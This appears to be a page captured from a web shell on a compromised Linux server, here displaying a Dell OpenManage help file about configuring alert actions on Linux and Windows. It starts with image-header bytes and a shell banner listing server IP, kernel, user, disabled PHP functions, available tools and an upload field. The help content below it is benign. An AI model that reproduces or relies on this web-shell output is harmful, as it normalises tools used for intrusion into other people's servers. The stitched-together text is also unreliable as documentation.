����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 3.144.199.9 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/dell/srvadmin/lib64/openmanage/apache-tomcat/webapps/omsa/help/oem/hip/en/ |
Upload File : |
<!-- #include VIRTUAL="/includes/global_format.inc.asp" --> <html> <head> <link rel="stylesheet" type="text/css" href="PG-ID.css"> <meta HTTP-EQUIV="Content-Type" content="text/html; charset=iso-8859-1"> <meta name="GENERATOR" content="Microsoft FrontPage 6.0"> <meta name="ProgId" content="FrontPage.Editor.Document"> <meta name="MS.LOCALE" content="EN"> <title>Setting Alert Actions in Linux Operating Systems</title> </head> <body bgcolor="#FFFFFF"> <!-- #include VIRTUAL="/includes/global_header.inc.asp" --> <!-- @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ --> <h3><a name="top">Setting Alert Actions in Linux</a> Operating Systems</h3> <p>When you set Alert Actions for an event on systems running a supported Linux operating system, you can specify the action to "<font face="Courier New">display an alert on the server.</font>" To perform this action, Server Administrator writes a message to the console. If the Server Administrator system is running an X Window System, <font color="#000000">you do not see the</font> message by default. To see the alert message on a Red Hat® Enterprise Linux system when the X Window System is running, you must start <b>xconsole</b> or<b> xterm -C</b> before the event occurs. To see the alert message on a SUSE® Linux Enterprise Server system when the X Window System is running, you must start <b> xterm -C</b> before the event occurs.</p> <p>When you set Alert Actions for an event, you can specify the action to "<font face="Courier New">broadcast a message.</font>" To perform this action, Server Administrator executes the <b>wall</b> command, which sends the message to everybody logged in with their message permission set to <b>yes</b>. If the system running Server Administrator is running the X Window System, you <font color="#000000">do not see the mes</font>sage by default. To see the broadcast message when the X Window System is running, you must start a terminal such as <b>xterm</b> or <b>gnome-terminal</b> before the event occurs.</p> <table cellPadding="4" border="0" width="80%" id="table1"> <tr> <td vAlign="top" width="17"><img border="0" src="note.gif" width="17" height="17"></td> <td><span class="notes"><b>NOTE</b>:</span> On SUSE Linux Enterprise Server 9, messages sent by <b>wall</b> are displayed by the <b>xterm</b> terminal program but not by the<b> Konsole</b> terminal program. </td> </tr> </table> <p>When you set Alert Actions for an event, you can specify the action to <font face="Courier">"</font><font face="Courier New">execute an application</font>". Limitations are on the applications that Server Administrator can execute. Follow these guidelines to ensure proper execution: <ul> <li>Do not specify X Window System-based applications because Server Administrator cannot execute such applications properly.</li> <li>Do not specify applications that require input from the user because Server Administrator cannot execute such applications properly.</li> <li>Redirect the <b>stdout</b> and <b>stderr</b> commands to a file when specifying the application so that you can see any output or error messages.</li> <li>If you want to execute multiple applications (or commands) for an alert, create a script to do that and put the full path to the script in the <b>application to execute</b> box.<p>Example 1: <span class="screen">ps -ef >/tmp/psout.txt 2>&1</span></p> </li> <p>The command in Example 1 executes the application <b>ps </b>command, redirects the <b>stdout</b> command to the file <b>/tmp/psout.txt</b>, and redirects the <b>stderr</b> command to the same file as the <b>stdout </b>command.</p> <p>Example 2: <span class="screen">mail -s "Server Alert" admin </tmp/alertmsg.txt>/tmp/mailout.txt 2>&1</span></p> <p>The command in Example 2 executes the mail application to send the message contained in the file <b>/tmp/alertmsg.txt</b> to the Linux user, the Admin, with the subject "Server Alert." The file <b>/tmp/alertmsg.txt </b>must be created by the user before the event occurs. In addition, the <b>stdout</b> and <b>stderr</b> commands are redirected to the file <b>/tmp/mailout.txt</b> if an error occurs.</p> </ul> <p>[<a href="#top">Back to Top</a>]</p> <h3><a name="top">Setting Alert Actions in Microsoft</a>®<a name="top"> Windows</a>®<a name="top"> 2000 and Windows Server™ 2003</a></h3> <p>When specifying alert actions, Visual Basic scripts are not automatically interpreted by the Execute Application feature, although you can run a <b>.cmd</b>, <b>.com</b>, <b>.bat</b>, or <b>.exe</b> file by only specifying the file as the alert action.</p> <p>To resolve this issue, first call the command processor <b>cmd.exe</b> to start your script. For example, the alert action value to execute an application can be set as follows:</p> <p><span class="screen">c:\winnt\system32\cmd.exe /c d:\example\example1.vbs</span> </p> <p>where<span class="screen"> d:\example\example1.vbs</span> is the full path to the script file. </p> <p>Do not set a path to an interactive application (an application that has a Graphical User Interface or which requires user input) in the <b>Absolute path to the application</b> field. The interactive application may not work as expected on some operating systems.</p> <table cellPadding="4" border="0" width="80%"> <tr> <td vAlign="top" width="17"><img border="0" src="note.gif" width="17" height="17"></td> <td><span class="notes"><b>NOTE</b>:</span> The full path to both the <b>cmd.exe</b> file and your script file should be specified. </td> </tr> </table> <p>[<a href="#top">Back to Top</a>]</p> <!-- @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ --> <!-- #include VIRTUAL="/includes/global_footer.inc.asp" --> </body> </html>